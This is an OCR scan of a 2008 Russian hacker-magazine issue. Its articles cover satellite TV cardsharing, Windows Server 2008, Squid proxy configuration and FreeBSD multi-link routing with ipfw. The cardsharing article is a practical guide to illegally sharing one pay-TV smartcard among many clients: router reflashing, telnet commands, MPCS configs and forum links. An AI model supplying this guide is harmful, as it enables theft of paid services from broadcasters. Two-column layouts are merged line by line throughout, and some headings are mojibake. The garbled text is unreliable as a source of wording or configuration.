Дабы оградить цифровое святилище есть риск спалить либо ресивер, либо приемник в антенне.
Следующий шаг — изготовление кабеля для передачи ключей от компа к ресиве-
от назойливых любителей телевиде- ру. Паяется он по схеме нуль модема от Rx в Tx. Схема кабеля показана на рисунке.
Первый вывод одного разъема я соединил с первым выводом второго разъема.
ния без рекламы, пришлось отвязы- Второй вывод соединил с третьим. Третий вывод — с вторым выводом другого
разъема. Ну и соединил проводом контакты номер пять. В итоге, получилось:
вать зомбоящик от компьютера.
1 — 1
2 — 3
3 — 2
Cпутниковый кардшаринг — что это? 5 — 5
В «][акере» уже была статья про шаринг, поэтому я не буду подробно все
расписывать, а лишь напомню принцип. Суть в том, что сигнал со спутника Плотнее уложил провод в корпус и закрутил разъем на место. Воткнул
поступает кодированный, а вместе с ним идет закодированный ключ для разъем в свободный СОМ-порт на компе, а другой конец подключил к
дешифровки. Смарткарта, вставляемая в ресивер, осуществляет декоди- разъему ресивера. Подключал все при отключенном оборудовании, так как
рование ключа и декодированным ключом уже происходит расшифровка при отсутствии электрической развязки между ресивером и компом при
видеопотока. Ключ меняется каждые десять секунд, поэтому подделать выдергивании провода на горячем подключении реально спалить порт на
смарткарту чертовски сложно, но можно расшарить ее через интернет или ресивере. На этом электрическая часть закончилась. Осталось настроить
локальную сеть и заставить декодировать ключи с чужих потоков. Таким соответствующий софт.
образом, одна легально купленная карта может обслуживать до сотни
клиентов. Разумеется, это незаконно, но шаринг провайдеры неплохо MPCS — оружие кардшарера!
шифруются, а со стороны поставщика спутникового телевидения воровство Одной из самых популярных и, наверное, лучших программ для
очень сложно отследить. шаринга является MPCS. Она представляет собой консольную тулзу,
BusyBox
Что это за зверь? Да это что-то вроде микролинуха, точнее набор UNIX-
утилит командной строки, запихнутый в один файл для экономии мес-
Модемный прикол
та. Преимущества комплекта перед обычным линухом заключаются в Если в DLINK-500T в LAN-разъем воткнуть витуху, в которой есть инет,
предельно малом занимаемом объеме и низких системных требова- а на ADSL-вход забить вообще, то MPCS также будет работать!
ниях. Основное применение BusyBox — встраиваемые системы и раз- Используя фичу, можно сделать шаринг клиент на любом LAN-соедине-
ного рода умные устройства, например роутеры. BusyBox — модульная нии. В том же роутере можно настроить VPN-соединение и использо-
система. В процессе компиляции можно включать или исключать ее вать его для подключения к провайдерам, поставляющим интернет
компоненты, точно настраивая под нужды системы. через домашние локальные сети.
xàêåð 05 /113/ 08
123
>> phreaking
DreamBox — пожалуй, самый рулезный ресивер из всех существующих Тайное меню ресивера OpenBox
слухам, она может работать не везде — какие-то проблемы с VPN). Вскоре Я же, поскольку в совершенстве владею лазерно-утюжным методом изго-
обнаружилось еще одно удачное решение — перешитый ADSL-модем. Во- товления печатных плат, предпочел выполнить все печатным монтажом.
обще, большинство ADSL модемов, работающих в режиме роутера (модем Получилось компактно и красиво. Утаивать разводку я не намерен, а посему
подключается к компьютеру посредством витой пары через сетевую карту), она выложена на диск. Также переходник можно купить на радиобарахолке
представляют собой довольно мощные компьютеры под управлением
Linux-подобной операционной системы. Я начал копать в эту сторону.
Оказывается, в ADSL-роутер DLINK-500T можно залить измененную
прошивку, основанную на uLinux и установить MPCS. Правда, есть одно
маленькое «но» — у DLINK-500T изначально нет RS232.
Потрошим роутер
mpcs.conf
Пошерстив по форумам, я узнал, что перепрошивке под кардшаринг [global]
поддаются почти все роутеры серии Dlink-500Т (кроме тех, у которых память Nice = -20
фирмы Intel). LogFile = /dev/null
Вскрываю крышку, внимательно оглядываю плату роутера… Мне повез- ClientTimeout = 5
ло — память Samsung. Хотя нет порта RS232. Нет порта? Ну и черт с ним!
Сейчас приделаю! Что это за торчащие штырьки возле ряда светодиодов? [monitor]
Зовутся «JP2». Беглое протыкание осциллографом показало, что это самый Port = 988
обычный трехвольтовый UART, превращаемый в RS232 посредством NoCrypt = 192.168.0.0-192.168.255.255
широко известной микросхемы конвертера MAX3232. По-быстрому в Sprint AULow = 120
Layout развел печатную плату для конвертера. В принципе, она настолько MonLevel = 4
простая, что ее можно сделать и навесным монтажом, припаяв детали
друг к другу. Все, что мне потребовалось, — штекер RS232, микросхема [newcamd]
MAX3232 да четыре конденсатора на один микрофарад. Конденсаторы Key = 0102030405060708091011121314
можно припаять напрямую на ножки микросхемы, благо они маленькие, а Port = 50000@0500:020710
Rx и Tx пропустить через входы и выходы MAX3232, как показано на схеме, и
припаять к штырькам. Если держать плату светодиодами вверх, разъемами [cs378x]
вниз и деталями к себе, то распиновка штырьков слева направо такая: Port = 50002
1 Rx [camd35]
2 - Port = 50001
3 Vcc
4 GND #[serial]
5 Tx #Device = tuner@/dev/ttyS0?delay=1&timeout=300
links
• satcode.biz — тут
находится масса инфы
по спутниковому кард-
шарингу, тарелкам
Печатная плата адаптера СОМ-порта. Можно просто начер-
Распайка нуль-модемного кабеля тить маркером на плате и вытравить или заюзать монтажку и оборудованию. А
также родной форум
по MPCS.
или в радиомагазине. Зовется он «TTL-RS232 адаптер». * ADSL LAN ROUTER D-Link DSL-500T (McMCC)
Внутри — тот же самый MAX232 только в отдельном корпусе. ******************************************** • viaccessforfree.info
Такая штука иногда идет в комплекте с некоторыми кассовыми BusyBox v0.61.pre (2007.01.15-21:12+0000) — еще один толковый
аппаратами. Built-in shell (ash) форум по спутнико-
Enter ‘help’ for a list of built-in commands. вому телевидению и
Вправляем роутеру мозги # картам доступа к ним.
Поскольку изначальная прошивка роутера никуда не
годится, будем ее менять! Нам нужна прошивка от Mcmcc. Затем я набрал в командной строке «cat /proc/ticfg/ • southern-bear.pisem.
Я скачал ее с сайта http://mcmcc.bat.ru (но тебе достаточно env», и модем отрыгнул в консоль много всего, в том числе и net/sattv/doc — архив
просто открыть диск). таблицу разметки памяти: спецификаций и доку-
Перешиваем роутер. Для этого я зашел в меню роутера, ментаций по теме.
набрав в адресной строке браузера его IP-адрес. Ввел па- mtd0 0x90083000,0x903f0000
роль администратора (по дефолту Login «Admin», password mtd1 0x90010090,0x90083000
«Admin»). Продрался через меню к странице обновле- mtd2 0x90000000,0x90010000
ния прошивки — Tools Update Gateway. Указал путь к mtd3 0x903f0000,0x90400000
распакованному файлу прошивки и нажал кнопку «Update mtd4 0x90010000,0x903f0000
Gateway». После чего перезагрузил модем, опять зашел в
меню и в разделе «Status Information» убедился в том, что Ввел в консоли:
прошивка встала на место.
Дальше потребовалось переразметить память и высвободить echo "mtd5 0x901F0000,0x90200000" > /proc/
место для MPCS. Для этого я зашел в роутер черезе Telnet, ticfg/env dvd
набрав в командной строке «telnet 192.168.1.1». Роутер echo "mtd4 0x90020000,0x901F0000" > /proc/ На диске лежат MPCS
приветствовал меня и предложил залогиниться. Логинился ticfg/env с конфигами, прошив-
я, естественно, как root с паролем Admin. Ответом мне было echo "mtd0 0x90097000,0x901F0000" > /proc/ ки для роутера, а так-
приветствие BussyBox: ticfg/env же схемы и печатные
платы переходника.
BusyBox on router login: root Потом перезагрузил роутер (команда «reboot») и проверил
Password: (команда «cat /proc/ticfg/env»), произошло ли перерас-
******************************************** пределение памяти.
mpcs.user mpcs.server
[account] [reader]
User = tuner Label = newcamd
Pwd = tuner Protocol = newcamd
Group = 1 Key = 0102030405060708091011121314
Device = *******,***** //тут нужно ввести свой
[account] шаринг-сервер и порт
User = monitor Account = *******,***** //А тут вводится логин и
Pwd = monitor пароль к шаринговому серверу.
Group = 1 CAID = 0500
IDENT = 0500:020710
Fallback = 0
Group = 1
ReconnectTimeout = 20
xàêåð 05 /113/ 08
125
>> phreaking
Êîäîâîå èìÿ
«Longhorn»
WINDOWS SErVEr 2008: обзор ноВоВВедений
горячие ноВости что и Vista SP1, имеет схожие архитектуру и функции. Кстати, не-
Разработка новой версии серверной ОС велась несколько лет (Beta которые возможности по безопасности, управлению и админист-
1 была представлена еще в 2005 году), параллельно с Win2k3, ко- рированию, заложенные в Vista (групповые политики, управление
торую она и призвана заменить. Версия построена на том же ядре, учетными записями, работа с NAP), будут полностью доступны
xàêåð 05 /113/ 08
129
>> ХАКЕР.pro
можно подготовить жесткий диск к установке. В версии 2k3 админист- В отличие от предыдущих версий Windows имеющиеся мастера позволя-
ратор мог лишь выбрать и отформатировать раздел. Теперь есть возмож- ют устанавливать и удалять сразу по нескольку ролей, служб и компо-
ность разделить диск на несколько разделов, просто выбрав New и введя нентов за один сеанс. При этом производятся проверки зависимостей,
требуемый размер. При нажатии Format выбранный раздел отформати- обеспечивающих установку всех необходимых ролей и служб ролей.
руется без лишних запросов о типе файловой системы. Роли устанавливаются с рекомендованными параметрами безопасно-
И еще одна новинка — администратор может выбрать два варианта сти, которые можно изменить, запустив Security Configuration Wizard
установки (правда, не во всех редакциях): Full или Core Installation. (мастер настройки безопасности). Он, кстати, заменил secedit.
Во втором случае устанавливаются лишь необходимые компоненты с Чтобы подготовить сервер к одной из ролей, достаточно запустить
ограниченным защищенным набором ролей, а графический интерфейс мастер установки. Большинство задач состоит из нескольких элементов
полностью отсутствует. Такая система априори имеет большую защи- под названием Службы ролей (Role Services). Например, в роли Network
щенность. Все управление будет осуществляться только при помощи Policy and Access Service доступно 6 Role Services, каждая из которых
командной строки. К сожалению, переключиться затем на стандартный добавляет функциональности. Если возникнет необходимость, всегда
интерфейс нельзя, сервер придется переустановить. можно, использовав мастер, установить или удалить Role Services из
Во время создания пароля администратора обрати внимание на неболь- окна Server Manager. Следует признать: теперь настройка некоторых
шую ссылку «Create a password reset disk». Нажатие на нее вызо- сервисов потребует чтения документации.
вет мастера, при помощи которого создается дискета (именно дискета!) Взглянув на список свойств сетевого интерфейса в Network Connections,
восстановления пароля. можно заметить, что, кроме IPv4, по умолчанию поддерживается и
По сравнению с Win2k3 рабочий стол системы не изменился. Если есть IPv6. В серверной версии ОС от Microsoft это применяется впервые.
желание, можно доустановить элементы интерфейса и сделать его иден- Выбрав настройку протокола, обнаружим еще одну вкладку — Alternate
тичным Aero из Vista. Configuration. Тут вводятся данные других сетей, к которым подключен
сервер. Компонент Link-Layer Topology Discovery Mapper предназначен
инстрУменты админа для поиска компьютеров и других устройств в сети, а включенный
Изменились и инструменты администрирования сервера. При первой Responder позволяет остальным узлам видеть этот компьютер.
загрузке тебя встретит «Initial Configuration Tasks», чье назна- Существенно переработан Task Scheduler, ставший куда функциональ-
чение совпадает с «Управлением данным сервером» из Win2k3. Послед- нее. Теперь задачи можно привязать к установленным на сервере
ний был малополезен, поэтому после установки удостаивался флажка приложениям.
«Не показывать эту страницу при входе в систему». Возможностей у
«Initial Configuration Tasks» на порядок больше, чем просто диспетчер серВера seRVeR MaNageR
управление ролями и созданными серверами. С его помощью можно В «Панели Управления» также есть нововведения. Мастер, появляющий-
установить часовой пояс, имя компьютера, настроить сеть и Windows ся при нажатии Add Hardware, поможет установить драйвер для старых
Firewall, обновить сервер, добавить роль и компоненты (Features). В устройств, не поддерживающих P-n-P. В Network and Sharing Center опре-
большинстве пунктов запускается простой мастер, который за несколь- деляются использование общего доступа к каталогам, файлам и принте-
ко шагов поможет быстро развернуть нужную функциональность. В рам, защита общих ресурсов паролем, видимость компьютера в сети.
комплекте поставляется 16 ролей (задач), на которые ориентирован Знакомые инструменты из Administrative Tools подверглись пере-
конкретный сервер (AD, сертификация AD, Network Policy Server, файло- работке. Главное новшество — появление диспетчера серверов
вый сервер и другие). Ожидается, что вскоре для загрузки будут доступ- (Server Manager), который заменил целую группу утилит из Computer
ны дополнительные роли, вроде службы потокового мультимедиа. Management в Win2k3. Все настройки теперь собраны в одном месте и
Все, что не является обязательным, отнесено к компонентам. Например, администратору не нужно их искать. Большая часть инструментов, дос-
шифрование диска BitLocker, балансировка сетевой нагрузки (Network тупных в самом Administrative Tools, продублирована в Server Manager.
Load Balancing), PowerShell, серверы и клиенты Telnet, SMTP, SNMP, Это полностью соответствует концепции ролей и компонентов, а также
управление групповой политикой, диспетчер съемных носителей и общему подходу к упрощению настроек. Диспетчер серверов способен
др. Выбор ролей и компонентов (вместо полной установки) повышает управлять практически всеми компонентами сервера, влияющими на
стабильность и безопасность. производительность и безопасность, а также просматривать инфор-
info
• используя утилиту
ServerManagercmd.
exe, можно устано-
вить и удалить роли,
службы ролей
и компоненты.
xàêåð 05 /113/ 08
131
>> ХАКЕР.pro
Ðåöåïòû
ïðèãîòîâëåíèÿ
êàëüìàðà
SQuID: настраиВаем контроль доступа и оптимизируем кэш
УстаноВка sQUiD новки в каждом конкретном случае). Отметим, что сейчас параллельно
Для новичков — пара слов о самом Squid. Squid, он же «кальмар» (www. развиваются две ветки: 2.x и 3.x. Третья ветка перешла в разряд STABLE
squid-cache.org) — приложение, позволяющее организовать прокси/кэ- в конце прошлого года, и разработчики рекомендуют ее к использова-
ширующий сервер для HTTP, FTP и некоторых других популярных прото- нию. В репозитарии Ubuntu 6.06 LTS Dapper Drake находится пакет с
колов. Поддерживается работа с защищенными TLS/SSL соединениями, версией Squid 2.5, в последнем 7.10 — 2.6.14. Также в репозитариях всех
кэширование DNS, возможно использование Squid в качестве прозрачного Ubuntu, начиная с Festy Fawn (7.04), есть и пакеты с третьей версией
или реверсного прокси. Распространяется по лицензии GNU GPL. Работает Squid. По описываемым в статье параметрам отличий у них практиче-
во всех популярных вариантах Unix систем — GNU/Linux, *BSD, Mac OS X, ски нет.
SunOS/Solaris. Есть версия для Windows. Óñòàíîâêà кальмара â Ubuntu довольно проста:
В качестве примера буду использовать Ubuntu, но сказанное относится
и к остальным дистрибутивам или ОС (со скидкой на особенности уста- $ sudo apt-get install squid squid-common
xàêåð 05 /113/ 08
133
>> ХАКЕР.pro
на сайте проекта сегодня доступны две версии Squid модуль настройки Squid в Webmin
Когда списки составлены, при помощи параметра http_access разре- Можно разбить это правило на два, сделав более читабельным:
шаем или запрещаем доступ указанному ACL. Общий формат вызова
такой: http_access allow work_hours workip
http_access deny workip
http_access allow|deny [!]название_ACL
Первая строка разрешит доступ при совпадении двух ACL: рабочее время и
Восклицательный знак инвертирует значение списка, то есть звучит, как IP-адрес. Вторая запретит доступ всех записанных в ACL workip при несов-
«все кроме». По умолчанию используется правило: падении с первым правилом (то есть в другой временной промежуток).
http_access allow localnet Но вместо того, чтобы использовать адрес, удобнее при помощи dstdomain
http_access deny !Safe_ports указывать домен назначения. Например, запретим доступ к сервисам
http_access deny !SSL_ports вроде RapidShare:
А вот еще один пример. Нам нужно, чтобы компьютеры с определенными acl adult dstdom_regex sex
IP могли выходить в инет только в рабочее время. Без проблем: acl regexdomain dstdom_regex \.com$ \.net$ \.tv$
http_access deny adult regexdomain
acl workip src 192.168.1.100 192.168.1.200-
192.168.1.210 Сейчас мы запретили доступ ко всем все доменам, содержащим слово
http_access deny !work_hours workip «sex», и всем доменам в зонах .com, .net и .tv.
Аналогичным образом блокируется и определенный контент, но вместо acl adsense url_regex — i *pagead2*
dstdom_regex используется url_regex или urlpath_regex. С их http_access deny adsense
помощью указывается шаблон регулярного выражения для URL. Второй
отличается тем, что не нужно заботиться о пути URL (при описании исклю- Используя тип proto, можно указать один из протоколов (http или ftp),
чается домен). Например, создадим описания расширений видео, флэш для которых будет действовать правило, или вообще запретить доступ по
и музыкальных файлов и запретим обращение к таким ссылкам. В этом выбранному протоколу:
случае urlpath_regex подходит больше, но приведу оба варианта для
примера. Чтобы игнорировался регистр символов, используем ключ -i: acl ftp proto ftp
http_access deny ftp workip
acl videofiles url_regex — i *\.avi$ *\.mpg$ *\.mp4$
*\.swf$ Теперь с компьютеров с адресами, входящими в workip, нельзя будет
acl soundfiles urlpath_regex -i \.mp3$ \.asf$ \.wma$ обратиться к FTP-ресурсам. Использование ACL для блокировки баннеров
http_access deny videofiles soundfiles не очень удобно. Выходом будет фильтрация не по конкретному адресу, а
по содержимому при помощи squidGuard (его настройку мы рассмотрим в
Кстати, для хранения URL удобно использовать отдельный файл: следующем номере журнала).
При изменении содержимого этого файла следует перезапускать Squid. Поле type определяет тип кэша: ufs (unix file system), aufs и diskd.
Иногда полезно выводить информационную страничку, чтобы пользова- Обычно используется ufs как наиболее надежный. Максимальный
тель знал, что он пытается получить доступ к запрещенному URL и его бло- размер, после которого кэш будет очищаться, установлен по умолчанию
кируют. Для этого используется параметр deny_info, который находится в 100 Мб. При серьезных нагрузках он быстро заполнится, поэтому есть
в секции «ERROR PAGE OPTIONS». В качестве параметров следует передать смысл увеличить его до нескольких гигабайт (мы увеличили до 10 Гб).
файл или URL, который будет выведен пользователю, и ACL, к которому Удобно, что можно использовать несколько cache_dir, установив кэш
относится данный deny_info. Файл должен находиться в подкаталоге на разных дисках, — положительно скажется на производительности. В
/etc/squid/errors в формате HTML. Кроме того, на каталог для Squid каждый кэшируемый объект располагается в отдельном файле, а
сообщений об ошибках показывает переменная error_directory (в Ubuntu сами файлы не сваливаются в одно место, благодаря механизму работы
/usr/share/squid/errors/English). Добавляем в squid.conf: с двухуровневой иерархией каталогов. Количество каталогов первого и
второго уровней определяют параметры L1 и L2. По умолчанию их зна-
deny_info ERR_BLOCKED_FILES blockfiles чения 16 и 256, соответственно. Дополнительно для каждого cache_
dir можно определить параметр read-only (только чтение) и max-size
И создаем файл /etc/squid/errors/ERR_BLOCKED_FILES, где (максимальный размер объекта).
популярно расписываем причину блокировки. С помощью регексповых Максимальный размер объекта в кэше определяется переменной
выражений можно блокировать и рекламу. Например, Google AdSense и maximum_object_size. Значение по умолчанию — 4 Мб, есть смысл его
некоторые другие попадут под правило: увеличить:
xàêåð 05 /113/ 08
135
>> ХАКЕР.PRO
maximum_object_size 10240 KB control: public», принудительно кэшируя такой объект.
Параметры, появившиеся в третьей версии:
Степан Ильин
Аналогично, есть и параметр minimum_object_size,
/ STEP@GAMELAND. RU/• ignore-no-store — игнорировать заголовок «Cache-
отвечает за минимальный размер объекта, по дефолту он control: no-store»;
отключен (значение 0). Объем ОЗУ, используемый Squid для • refresh-ims — заставляет проверять наличие новой вер-
хранения обрабатываемых объектов, определяется парамет- сии файла при получении от клиента If-Modified-Since.
links ром cache_mem (по умолчанию — 8 Мб). При большом размере В самом простом случае вместо правил по умолчанию можно
На странице wiki. кэша лучше увеличить это значение, тем более что объемы со- написать одно правило, заставляющее принудительно кэши-
squid-cache. временных ОЗУ это позволяют. Иначе Squid будет сбрасывать ровать объекты на целый год:
org/ConfigExamples всю информацию на диск, что замедлит его работу.
доступны примеры Но это еще далеко не все. Например, отключенный по refresh_pattern . 518400 80% 518400
настроек Squid. умолчанию параметр reload_into_ims разрешает игно- override-expire override-lastmod reload-into-
рировать nocache или reload и выдавать объект из кэша. ims ignore-no-cache ignore-private ignore-
Это нарушение стандарта HTTP, но большинство серверов auth ignore-no-store
умеют корректно обрабатывать такой запрос, потому
включаем: Устанавливаем размер кэша побольше и забываем о Squid.
Это даст весьма ощутимую экономию трафика. Но такой под-
reload_into_ims on ход не всегда приемлем, да и кэш быстро заполнится старыми
файлами. Поэтому лучше установить свои варианты кэширо-
Вместо глобальной установки можно задать такой параметр вания для разных типов файлов. Например, часто на сайтах
для некоторых типов файлов. проектов экзешники, архивы и некоторые другие типы фай-
Документация на странице reload_into_ims отсылает лов имеют постоянный адрес, вроде server.com/current.
нас к не менее интересной директиве refresh_pattern, exe. Укажем для таких файлов время хранения в месяц:
которая управляет параметрами кэширования:
refresh_pattern \.exe$ 43200 100% 43200
refresh_pattern [-i] regex min percent max override-expire override-lastmod reload-into-
[options] ims ignore-no-cache ignore-private ignore-
auth ignore-no-store
В regex пишем регулярное выражение, которому будет
отвечать правило. Проверка производится до первого refresh_pattern \.zip$ 43200 100% 43200
совпадения. Поэтому последним всегда устанавливается override-expire override-lastmod reload-into-
«.» — то есть правило для всех объектов. Параметр min и ims ignore-no-cache ignore-private ignore-
max указывают на минимальное и максимальное время в auth ignore-no-store
минутах, в течение которого объект считается новым. В
percent указывается процент от времени последней моди- И так далее. Схожим образом «вырезаем» рекламу. Так как
фикации объекта. В min рекомендуется устанавливать 0, довольно трудно создать универсальное правило для acl/
чтобы корректно работать с динамически обновляемыми http_access и всегда можно допустить ошибку, рекламу проще
страницами. В версии Squid 2.x по умолчанию используют- кэшировать, чем блокировать:
ся инструкции:
refresh_pattern http://ad\. 43200
refresh_pattern ^ftp: 1440 20% 10080 100% 43200 override-expire override-lastmod
refresh_pattern ^gopher:1440 0% 1440 reload-into-ims ignore-no-cache ignore-
refresh_pattern . 0 20% 4320 private ignore-auth ignore-no-store
warning refresh_pattern http://click\. 43200
После изменения В версии 3.0 перед «.» добавлена строка: 100% 43200 override-expire override-lastmod
конфигурационных reload-into-ims ignore-no-cache ignore-
файлов не забывай refresh_pattern (cgi-bin|\?) 0 0% 0 private ignore-auth ignore-no-store
перезапускать Squid. refresh_pattern http://count\. 43200
В поле options через пробел указываются дополнительные 100% 43200 override-expire override-lastmod
параметры. В версии 2.x параметров семь, в 3.х добавилось reload-into-ims ignore-no-cache ignore-
еще два. Большинство из них идут в разрез со стандартами private ignore-auth ignore-no-store
HTTP, и их использование может вызвать проблемы при рабо-
те с некоторыми серверами. Однако они весьма полезны для Это наиболее простой способ. При тщательном изучении
оптимизации кэша и понадобятся в дальнейших настройках: логов можно составить коллекцию URL, которые стоит
• override-expire — в нарушение стандарта заставляет поместить в вечный кэш. Для нарезания баннеров можно
игнорировать параметр expire, то есть время актуальности дополнительно использовать прокси-сервер bfilter (bfilter.
объекта; sf.net) или редиректор для squid — adzapper (adzapper.
• override-lastmod — игнорирует время последней моди- sf.net).
фикации объекта, переданного сервером; Как видишь, кальмар не так страшен. Если не считаешь
• reload-into-ims, ignore-reload — изменяет или игнориру- удобной ручную настройку, обратись к Webmin, где
ет клиентские запросы nocache или reload и принудитель- большинство установок можно произвести в наглядной
но выдает объект, хранящийся в кэше; форме. Базовая настройка занимает минут 10. После
• ignore-no-cache, ignore-private, ignore-auth — игно- определенной доводки пользователи будут радоваться
рирует заголовки «Pragma: no-cache», «Cache-control: скорости открытия страниц, а руководство — низкому
no-cache», «Cache-control: private» и «Cache- трафику. z
Сергей Супрунов
/ [email protected] /
Все, что могУ… хоть тресни, а трафик будет идти через rl0 и никак иначе. Ну да, можно,
Сразу расставим точки над «ай» — есть вещи выше наших сил. Допус- конечно, вспомнить про автономные системы, протокол BGP, граничные
тим, на твоем сервере работает Apache, и если у какого-то далекого (или маршрутизаторы и прочие премудрости. Но, как ты думаешь, сколь-
недалекого) клиента маршрут к нему ведет через твой интерфейс rl0, то ко в мире найдется провайдеров, готовых бесплатно возиться с твоей
если добавить опцию log в правила ipfw, в /var/log/security можно увидеть много интересного
маршрутизацией, если таких клиентов, как ты, у них тысячи? Так что
сразу оговорюсь, что не буду рассматривать способы, требующие особого
отношения со стороны провайдера, и покажу лишь то, что можно сделать
самостоятельно, имея несколько «обычных» подключений.
За основу возьму свою любимую FreeBSD и пакетный фильтр ipfw. Воз-
можно, это не самый лучший вариант для построения шлюза с нескольки-
ми внешними соединениями, зато рассмотренные принципы с высокой одна сетевуха вполне осилит несколько подключений
долей вероятности будут справедливы и для остальных никсов.
Схема «полигона» представлена на рисунке. Внутренняя сеть
— 172.16.0.0/16, именно ее мы и должны будем выпускать в интер- адреса назначения), либо внутреннее (когда рабочий канал определяется
нет. Деление на «подсети» сделано исключительно для удобства. Реаль- источником: бухгалтерию и себя любимого через 1-й, всех остальных
ные подсети выделять не будем (маска подсети на всех машинах будет — через 2-й). В-третьих, можно устроить дележ по типу трафика, скажем,
255.255.0.0). Это позволит нам не возиться с внутренней маршрутиза- выселив SMTP на отдельный канал и освободив, тем самым, основной для
цией — некогда серьезная проблема перегрузки сегмента сети гуляющими беспробудного серфинга.
по всем портам пакетами, преимущественно из-за которой сеть и дроби- В качестве примера рассмотрим решения следующих частных задач (бо-
лась, канула в Лету вместе с бестолковыми концентраторами (aka хабы). лее общие, думаю, ты и сам сможешь получить методом экстраполяции):
Наш маршрутизатор имеет две сетевые карты для внешних соединений: на
одну мы сразу получаем реальный IP-адрес 100.100.100.102 (шлюз про- 1. Направлять трафик, адресованный подсетям
вайдера — 100.100.100.101), во вторую воткнут ADSL-модем с адресом 213.100.0.0/16 и 213.200.0.0/24, во 2-й канал, остальной
192.168.1.1 (с провайдером он соединяется по PPPoE, динамически по- трафик — в 1-й.
лучает некоторый IP для работы и выполняет NAT-преобразование на этот 2. Обеспечить по 2-му каналу работу машин с адреса-
адрес; впрочем, нам это неинтересно — главное, что адрес 192.168.1.1 ми 172.16.0.x, а по 1-му — с адресами 172.16.1.x и
для исходящего трафика мы можем рассматривать как реальный). 172.16.2.x.
Очевидно, что динамическая природа второго канала не позволит исполь- 3. Использовать для SMTP-трафика 1-й канал (будем по-
зовать его для предоставления в Сеть собственных сервисов (например, лагать, что Sendmail работает на этой же машине), а все
веб-сайта), но в дальнейшем мы не будем на это отвлекаться. прочее пусть работает по 2-му каналу.
4. Выделить HTTP-трафик машин с адресами 172.16.1.x во
постаноВка проблемы 2-й канал, весь остальной трафик оставить на 1-м; HTTP-
Для начала давай определимся со способами распределения трафика меж- трафик должен проходить через прокси.
ду несколькими каналами. Во-первых, можно тупо делить его «пополам» 5. Обеспечить балансировку TCP-трафика между каналами в
— пакет туда, пакет сюда. Во-вторых, можно использовать «географичес- соотношении, близком к 2:1, независимо от типа трафика и
кое» деление — либо внешнее (когда трафик делится в зависимости от адресов источника и назначения.
xàêåð 05 /113/ 08
139
>> ХАКЕР.pro
вот зачем нам нужен nAT команда «ipfw show» удобна, чтобы посмотреть, сколько чего и куда пошло
Сразу обговорим один нюанс. Думаю, ты уже понял, что трафик будет # route add 0.0.0.0/1 192.168.1.1
идти не так, как нам хочется, а так, как прописано в таблицах марш-
рутизации у «чужих дядей». И даже если какой-то исходящий пакет Естественно, о чистой «половине» речи не идет, но, варьируя длину маски
мы умудримся пропихнуть в другой интерфейс, и провайдер его там подсети, можно добиться соотношения трафика в каналах, близкого к
не прибьет в рамках мероприятий по борьбе со спуфингом, ответный желаемому.
пакет все равно будет придерживаться стандартного маршрута. Отсюда На всякий случай снова вернусь к вопросу NAT-трансляции. Если все
следует, что нам нужен NAT, точнее, по одному на каждый внешний ка- внешние интерфейсы имеют реальные адреса, то пакеты, источни-
нал. Зачем? Ответ найдешь на рисунке: за счет трансляции адресов мы ком которых является сам маршрутизатор, никакой трансляции не
будем согласовывать нашу сеть с сетями (а следовательно, и маршрута- требуют — операционная система достаточно сообразительна, чтобы
ми) провайдеров, от которых получаем интернет. Теперь «чужие дяди» выставить адресом источника именно тот интерфейс, через который
будут слать пакеты не напрямую нам, а нашим провайдерам, причем пакет пойдет в мир иной (в смысле, во внешний). А вот внутреннюю
тем, которым нужно. сеть транслировать придется в любом случае, причем на обоих интер-
Итак, приступим к героическому преодолению этих проблем. фейсах:
Чтобы увековечить эти правила маршрутизации, добавим в /etc/ Что произойдет в итоге? Пакет, попав в систему из внутренней сети,
rc.conf такие строки: будет, в зависимости от адреса назначения, направлен на тот или иной
интерфейс (согласно таблице маршрутизации). На интерфейсе мы его
$ grep route /etc/rc.conf перехватываем и отправляем демону natd, чтобы во внешний мир пакет
static_routes="prov1_100 prov1_200" попал с нужным IP-адресом источника. Ну и последними двумя правилами
route_prov1_100="213.100.0.0/16 192.168.1.1" не забываем «разнатировать» входящие пакеты.
route_prov1_200="213.200.0.0/24 192.168.1.1" Во FreeBSD 7.0 появилась возможность сделать то же самое без помощи
defaultrouter="100.100.100.101" внешнего демона natd:
Как видишь, совсем необязательно ограничивать себя одной # ipfw nat 1 config ip 100.100.100.102
«особой» сетью — сколько надо, столько во второй канал и перена- # ipfw nat 2 config if 192.168.1.1
правляй. Вплоть до того, что туда можно отправить сразу «половину # ipfw add nat 1 from 172.16.0.0/16 to any via rl0
интернета»: # ipfw add nat 2 from 172.16.0.0/16 to any via ed0
info
• Учти, что forward
пока не умеет работать
Схема тестовой сети из модуля. Поэто-
му ядро придется
пересобрать, добавив
Экспериментируя с сетью, без tcpdump не обойтись Обрати внимание, что в первой задаче (в которой мы исполь- опции IPFIREWALL,
зуем маршрутизацию) правила перенаправления должны IPFIREWALL_
отправлять исходный пакет на внешний интерфейс, где он уже FORWARD и, до кучи,
# ipfw add nat 1 from any to 100.100.100.102 via будет транслироваться соответствующим образом. Если пакет IPDIVERT.
rl0 отправлять на NAT непосредственно с внутреннего интерфей- В FreeBSD 7.0 можно
# ipfw add nat 2 from any to 192.168.1.1 via ed0 са, то мы просто не будем знать, на какой из внешних адресов заодно включить
его «вешать», так как он еще не прошел маршрутизацию. А в IPFIREWALL_NAT
Итак, задачу мы решили. Кстати, это решение не единственно этой задаче такого требования нет, поскольку адрес источника и LIBALIAS (без кото-
возможное, и ниже я коснусь еще одного варианта, позволяю- мы можем определить уже на внутреннем интерфейсе. рой ядро не соберется).
щего не трогать правила маршрутизации. Почему просто выполнить трансляцию недостаточно? Зачем
еще нужно что-то куда-то перенаправлять или вводить прави- • Уходить во внешний
Задача 2: «внутренняя география» ла маршрутизации — пакет ведь получит адресом источника канал пакет должен
Маршрутизацией, как видишь, можно реализовать только IP-адрес нужного нам интерфейса? Да, так и есть. Только с тем IP-адресом источ-
«внешнее географическое» деление. Наша вторая задача вот конечным пунктом пакета будет не шлюз провайдера, а ника, ответные пакеты
относится к «внутренней географии», так что нужно искать произвольный адрес в интернете, поэтому система пропишет на который вышестоя-
другое решение. Например, пакетный фильтр (раз он все для него маршрут через шлюз по умолчанию. А там пакет из щими провайдерами
равно нужен для NAT-преобразований) — ведь он тоже умеет «чужой» сети, скорее всего, никто ждать не будет. Теперь, во будут отправляться
выполнять перенаправление трафика, но гораздо гибче. С всем разобравшись, можно написать решение второй задачи: через этот же канал.
помощью forward-правил можно затолкать любой пакет в
